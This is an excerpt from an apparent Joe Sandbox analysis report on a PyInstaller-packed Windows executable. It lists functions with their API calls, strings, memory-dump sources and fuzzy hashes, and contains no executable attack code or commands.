                                              • Instruction ID: 069efdc515aad264b2282f17666ca50d17e41ded228270fa7270256c0abd6ea4
                                              • Opcode Fuzzy Hash: c804c22466df2b92b362f5d1d066b057dea08e8c29dc99d8cb90910c2247e431
                                              • Instruction Fuzzy Hash: EFB2B372A182878BE7658F64D4417FD37A1FB54B88F545335DB3A97AC4EF38A9008B80
                                              Function 00007FF6FFD18770 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 52windowCOMMON
                                              Download Yara Rule
                                              APIs
                                              • GetLastError.KERNEL32(00000000,00007FF6FFD12A3E,?,?,?,?,?,?,?,?,?,?,?,00007FF6FFD1101D), ref: 00007FF6FFD18797
                                              • FormatMessageW.KERNEL32 ref: 00007FF6FFD187C6
                                              • WideCharToMultiByte.KERNEL32 ref: 00007FF6FFD1881C
                                                • Part of subcall function 00007FF6FFD129C0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF6FFD18AF2,?,?,?,?,?,?,?,?,?,?,?,00007FF6FFD1101D), ref: 00007FF6FFD129F4
                                                • Part of subcall function 00007FF6FFD129C0: MessageBoxW.USER32 ref: 00007FF6FFD12AD0
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: ErrorLastMessage$ByteCharFormatMultiWide
                                              • String ID: Failed to encode wchar_t as UTF-8.$FormatMessageW$No error messages generated.$PyInstaller: FormatMessageW failed.$PyInstaller: pyi_win32_utils_to_utf8 failed.$WideCharToMultiByte
                                              • API String ID: 2920928814-2573406579
                                              • Opcode ID: 71548051bea7547f5d5b972cb2661fdb12455c7e02de19cea235076eba1ea75f
                                              • Instruction ID: 14e6e58576422a884c823e6e5bcefa3e427b8fda2ba58b1ea7b4a3fbac3d1565
                                              • Opcode Fuzzy Hash: 71548051bea7547f5d5b972cb2661fdb12455c7e02de19cea235076eba1ea75f
                                              • Instruction Fuzzy Hash: AA210922A08A4282F760DB15F8453AA73A5BB88384F840335E67DC36E5FF7CE149C780
                                              Function 00007FF6FFD1C8BC Relevance: 10.6, APIs: 7, Instructions: 71COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                              • String ID:
                                              • API String ID: 3140674995-0
                                              • Opcode ID: 4f1605a870b3ab58307638b90f69401c730c876d9dfa7ce500e329c816792819
                                              • Instruction ID: 92702360ea22037b44a7042f3616d23cc39e8265c42eabcd9ff592fa57c52e79
                                              • Opcode Fuzzy Hash: 4f1605a870b3ab58307638b90f69401c730c876d9dfa7ce500e329c816792819
                                              • Instruction Fuzzy Hash: 52313E73609B8186EB609F60E8413ED73A4FB84784F44423ADB6D97B95EF38D648C750
                                              Function 00007FF6FFD2B3CC Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                              • String ID:
                                              • API String ID: 1239891234-0
                                              • Opcode ID: f3d77d60e417bce1f0fe908812719be64cab24703666754eed0168e01bd0a785
                                              • Instruction ID: d7917c665a7c54e3499c0aacd2f8e2f5807e0933cbfdc1ee6ec2e39a50fc2fe1
                                              • Opcode Fuzzy Hash: f3d77d60e417bce1f0fe908812719be64cab24703666754eed0168e01bd0a785
                                              • Instruction Fuzzy Hash: BC315332608B8185E760CB25E8412AD73A4FB88794F540335EAAD87BA5EF38C145C780
                                              Function 00007FF6FFD326C4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: FileFindFirst_invalid_parameter_noinfo
                                              • String ID:
                                              • API String ID: 2227656907-0
                                              • Opcode ID: b3715d4618dde4abce6a703dfc2b0a62f6c41887aa9418885becb382e3094c85
                                              • Instruction ID: 849b3aedfed0180cf67522fe0e3f61d60f6e8518ba99985019873de0b226b53e
                                              • Opcode Fuzzy Hash: b3715d4618dde4abce6a703dfc2b0a62f6c41887aa9418885becb382e3094c85
                                              • Instruction Fuzzy Hash: 0EB1D562F1969641EB619B2598012B96390FB44BE5F444332EBBD87BD9FFBCE441C380
                                              Function 00007FF6FFD1C7A0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                              • String ID:
                                              • API String ID: 2933794660-0
                                              • Opcode ID: 9121cd0992376079c28b7b15cfb2bb882a77f2b3c78bb4ce64e2c22522254d02
                                              • Instruction ID: 67cbe71b7c6768500b21a849a635b924a3977cb08438463a04b9207fff979f5d
                                              • Opcode Fuzzy Hash: 9121cd0992376079c28b7b15cfb2bb882a77f2b3c78bb4ce64e2c22522254d02
                                              • Instruction Fuzzy Hash: 3C111526B14B068AEB008BA0E8552B833A4FB59798F441F31EA7D867A4EF7CD1548380
                                              Function 00007FF6FFD34A60 Relevance: 4.8, APIs: 3, Instructions: 340COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: memcpy_s
                                              • String ID:
                                              • API String ID: 1502251526-0
                                              • Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
                                              • Instruction ID: 96515ae39b6c325154fa77e99180d115015a8cb9e7c075b1978db123f42b593e
                                              • Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
                                              • Instruction Fuzzy Hash: D4C11772B1928687E724CF15A08566AB791F785B84F448335DB6ED3784EF3DE841CB80
                                              Function 00007FF6FFD3A7D8 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: ExceptionRaise_clrfp
                                              • String ID:
                                              • API String ID: 15204871-0
                                              • Opcode ID: 107d115b060fbd35a116a220a90c3f58689526778be32960ff8b0eb29206904d
                                              • Instruction ID: fad1a277dd108b0cacc305561260df7fbc1a9a51a8676c03cdc7728215d8bb9c
                                              • Opcode Fuzzy Hash: 107d115b060fbd35a116a220a90c3f58689526778be32960ff8b0eb29206904d
                                              • Instruction Fuzzy Hash: EAB16C77A04B898BE719CF29C8463687BA0F744B48F158A62DB7D837A8DF39D452C740
                                              Function 00007FF6FFD242D4 Relevance: 2.8, Strings: 2, Instructions: 350COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: $
                                              • API String ID: 0-227171996
                                              • Opcode ID: a4155c6fffaecf52a824239c2b6f37dbc1b24f1087258a4a4fa2a9ab421e67c4
                                              • Instruction ID: 38c2d8f364eb85301d8cdbea60746e0e05b4c9b0823db8582554d929b8661b5e
                                              • Opcode Fuzzy Hash: a4155c6fffaecf52a824239c2b6f37dbc1b24f1087258a4a4fa2a9ab421e67c4
                                              • Instruction Fuzzy Hash: ECE19236A0864682EB68CE2581D017933A0FF46B48F145335DE7E876D6EF2BE852C7C0
                                              Function 00007FF6FFD2ECA0 Relevance: 2.6, Strings: 2, Instructions: 144COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: e+000$gfff
                                              • API String ID: 0-3030954782
                                              • Opcode ID: b0eb00ec9cc72bcbd25ebaa9050c7cd18c6ed420f4824bc0d073d86035fcaeec
                                              • Instruction ID: a5d1c8838679617f24b4d904841051ed09948559f310cf41eeb847a37a6641bc
                                              • Opcode Fuzzy Hash: b0eb00ec9cc72bcbd25ebaa9050c7cd18c6ed420f4824bc0d073d86035fcaeec
                                              • Instruction Fuzzy Hash: A6516826B182C586E7248F35E8017696B91F744B94F489335CBBC8BAD5EF7FE4448780
                                              Function 00007FF6FFD2E80C Relevance: 1.5, Strings: 1, Instructions: 254COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID: gfffffff
                                              • API String ID: 0-1523873471
                                              • Opcode ID: ce984bed762576d5ac079d260fe98dbb5d2c0c9497d8241e3c95b971abe0b5e7
                                              • Instruction ID: 91f91eff376a761c4ca688cf04376ab12fba35ae0df83f13c9606bca54f5e725
                                              • Opcode Fuzzy Hash: ce984bed762576d5ac079d260fe98dbb5d2c0c9497d8241e3c95b971abe0b5e7
                                              • Instruction Fuzzy Hash: DDA14563B0878686EB21CB29A4107AD7B91AB54B84F048336DEBD877C1EE3ED501C781
                                              Function 00007FF6FFD28EF4 Relevance: 1.4, Strings: 1, Instructions: 177COMMON
                                              Download Yara Rule
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: _invalid_parameter_noinfo
                                              • String ID: TMP
                                              • API String ID: 3215553584-3125297090
                                              • Opcode ID: 78de1512b9aaf0fe835626b1baf1273ddb3abd7b45f485034b213d1c96ec7de6
                                              • Instruction ID: 454c8ae7b6833b6ca1cbfaf6c27a2b625242aaddab7f8c7aa5a225fd239f2b2b
                                              • Opcode Fuzzy Hash: 78de1512b9aaf0fe835626b1baf1273ddb3abd7b45f485034b213d1c96ec7de6
                                              • Instruction Fuzzy Hash: 4651E221F0830641FB64AB265A0117A6392AF84B88F084735DE3DC77D6FE7EF54292C4
                                              Function 00007FF6FFD342D0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: HeapProcess
                                              • String ID:
                                              • API String ID: 54951025-0
                                              • Opcode ID: ed995d9d252c3e0c61107ed1ba5c48f1392176915e7fcf845d28b2722b2e2d45
                                              • Instruction ID: 5c1dd65cd989e5093970813fc3f6026691a578f3ed46dd4cb37d72aadd164ee7
                                              • Opcode Fuzzy Hash: ed995d9d252c3e0c61107ed1ba5c48f1392176915e7fcf845d28b2722b2e2d45
                                              • Instruction Fuzzy Hash: E7B09228E07A02C6EB482B156C8221423A4BF58751F984338C12D85360EE2C21A99741
                                              Function 00007FF6FFD23ED0 Relevance: .3, Instructions: 327COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: ca9df69fd1c27fd416770dca946a20fccf44885df857cf64186a4c680355c85b
                                              • Instruction ID: 4478dd07346e4b65b2caccfede962ac98e6e00a3f938398c7e1c89337b708855
                                              • Opcode Fuzzy Hash: ca9df69fd1c27fd416770dca946a20fccf44885df857cf64186a4c680355c85b
                                              • Instruction Fuzzy Hash: F4D1A222A0864286EB69CF25959027D37A0EF46B48F144335CE3D976D6EF3BE981D7C0
                                              Function 00007FF6FFD192D0 Relevance: .3, Instructions: 287COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: a6d76246942c46f132312ebc4a4bc27c309f6729675ee6fb805fd22939f347a0
                                              • Instruction ID: 86cb81f7d11d57baacffe894db7ce40a52a25fd8e23a09ef9dc3531245105f47
                                              • Opcode Fuzzy Hash: a6d76246942c46f132312ebc4a4bc27c309f6729675ee6fb805fd22939f347a0
                                              • Instruction Fuzzy Hash: F9C1A3722141E14BE2C9EB29E46957A77E1F78834DBC4413AEB9B47BCACA3CA014D750
                                              Function 00007FF6FFD23540 Relevance: .2, Instructions: 241COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: fa501f5897fa8170c1c3089a9165536d111e8d2735d862654f88cabfcab8bd87
                                              • Instruction ID: e36d2b97f3a789c7ab26267fbee79179ce653d5dfd8d9231290a2862abbc5d02
                                              • Opcode Fuzzy Hash: fa501f5897fa8170c1c3089a9165536d111e8d2735d862654f88cabfcab8bd87
                                              • Instruction Fuzzy Hash: 6AB13B72A0878586EB658F29C05423C7BA4F749F48F244379DA6EA7395EF2BD841C7C0
                                              Function 00007FF6FFD2F320 Relevance: .2, Instructions: 198COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: dde3b387bb0edac5d3a7572aaf71fcdce3ba0ac9d1c4353072e234eccf42a557
                                              • Instruction ID: 1ca8f81fea710948c1afe95979eebcbd37a083a8f4352865d270aa503dc75ee6
                                              • Opcode Fuzzy Hash: dde3b387bb0edac5d3a7572aaf71fcdce3ba0ac9d1c4353072e234eccf42a557
                                              • Instruction Fuzzy Hash: ED81D072B0C78146E764CF19E48036AAB91FB85794F104739DABD87BD9EE3ED4408B80
                                              Function 00007FF6FFD37550 Relevance: .2, Instructions: 183COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: _invalid_parameter_noinfo
                                              • String ID:
                                              • API String ID: 3215553584-0
                                              • Opcode ID: 56d2f3263a1741f87de1d3959ce665dc908e505345c087bc705cf795706c1100
                                              • Instruction ID: 31879cf2266cee247d1b7edbc00b4fe90501db8c2689af835a84cc450fd131c5
                                              • Opcode Fuzzy Hash: 56d2f3263a1741f87de1d3959ce665dc908e505345c087bc705cf795706c1100
                                              • Instruction Fuzzy Hash: B861C162E1CA9246FBA48A2C84666797781AF50760F150739DB3EC67D5FE7DE800C7C0
                                              Function 00007FF6FFD22684 Relevance: .1, Instructions: 146COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: 0a7def00a57181835e1b5755574f212d41c435eb46ac8bcc91c00ca4f50edce3
                                              • Instruction ID: a12c7235090d373443a1ec5cefddd22edd5ca50c7a2d66cae96cc471eed75efc
                                              • Opcode Fuzzy Hash: 0a7def00a57181835e1b5755574f212d41c435eb46ac8bcc91c00ca4f50edce3
                                              • Instruction Fuzzy Hash: CA516D76A1865182F7248B29C44023873A0EB55B69F244331EA7D877E5EFBBE843C7C0
                                              Function 00007FF6FFD22A94 Relevance: .1, Instructions: 146COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
